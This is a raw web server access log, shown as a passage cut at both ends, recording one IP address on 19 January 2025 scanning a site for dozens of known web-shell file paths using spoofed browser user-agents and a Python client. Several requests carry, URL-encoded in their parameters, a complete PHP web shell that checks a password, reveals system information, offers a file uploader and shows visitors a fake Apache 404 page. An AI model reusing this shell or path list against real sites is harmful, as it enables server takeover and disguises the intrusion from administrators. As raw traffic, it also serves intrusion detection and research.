/wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:08 +0530] "GET /media-admin.php HTTP/1.1" 302 235 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:08 +0530] "GET /error.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:11 +0530] "GET /wp-includes/wp-red.php HTTP/1.1" 302 242 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:12 +0530] "GET /tmp/vuln.php HTTP/1.1" 302 232 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:13 +0530] "GET /.well-known/acme-challenge/wolf-shell.php HTTP/1.1" 302 261 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:13 +0530] "GET /administrator/templates/hathor/index.php HTTP/1.1" 302 260 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:16 +0530] "GET /wp-content/uploads/wp-stream.php HTTP/1.1" 302 252 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:17 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:19 +0530] "GET /olux.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:20 +0530] "GET /am.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:22 +0530] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 302 252 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:23 +0530] "GET /wso112233.php HTTP/1.1" 302 233 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:24 +0530] "GET /uploads/xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 260 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:25 +0530] "GET /wp-login.php HTTP/1.1" 302 232 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:26 +0530] "GET /m.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:27 +0530] "GET /uploads/s4.phtml HTTP/1.1" 302 236 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:27 +0530] "GET /wp-includes/images/wlw/local1.php HTTP/1.1" 302 253 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:27 +0530] "GET /images/xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 259 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:27 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:28 +0530] "GET /uploads/contexmini.php HTTP/1.1" 302 242 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:28 +0530] "GET /wp-admin/x.php HTTP/1.1" 302 234 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:28 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:28 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:29 +0530] "GET /wp-content/tcihmfyu.php HTTP/1.1" 302 243 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:29 +0530] "GET /leaf.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:31 +0530] "GET /wp-admin/fw.php HTTP/1.1" 302 235 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:31 +0530] "GET /leafmailer2.8.php HTTP/1.1" 302 237 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:32 +0530] "GET /wp-admin/wso.php HTTP/1.1" 302 236 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:32 +0530] "GET /wp-info.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:32 +0530] "GET /wp-admin/includes/mar.php HTTP/1.1" 302 245 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:32 +0530] "GET /goods.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:32 +0530] "GET /h.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:32 +0530] "GET /templates/+theme+/index.php HTTP/1.1" 302 247 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:32 +0530] "GET /error.php?phpshells HTTP/1.1" 302 239 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:32 +0530] "GET /0.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:32 +0530] "GET /images/403.php HTTP/1.1" 302 234 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:32 +0530] "GET /it.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:32 +0530] "GET /5index.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:36 +0530] "GET /shells.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:37 +0530] "GET /indoxploit.php HTTP/1.1" 302 234 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:38 +0530] "GET /alex.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:39 +0530] "GET /owl.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:40 +0530] "GET /wp-includes/css/wp.php HTTP/1.1" 302 242 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:41 +0530] "GET /style.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:41 +0530] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 302 254 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:42 +0530] "GET /Sendemail.php HTTP/1.1" 302 233 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:42 +0530] "GET /templates/protostar/error.php HTTP/1.1" 302 249 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:42 +0530] "GET /uploads/l.php HTTP/1.1" 302 233 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:42 +0530] "GET /wp-includes/images/wlw/local1.php HTTP/1.1" 302 253 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:44 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:47 +0530] "GET /.well-known/xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 264 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:50 +0530] "GET /wp-content/themes/twentytwentythree/content-index.php HTTP/1.1" 302 273 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:51 +0530] "GET /o.php HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:51 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:51 +0530] "GET /libraries/joomla/css.php HTTP/1.1" 302 244 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:51 +0530] "GET /wp-admin/includes/class-wp-media-list-data.php HTTP/1.1" 302 266 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:51 +0530] "GET /files/image.php HTTP/1.1" 302 235 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:52 +0530] "GET /wp-includes/pomo/1.php HTTP/1.1" 302 242 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:52 +0530] "GET 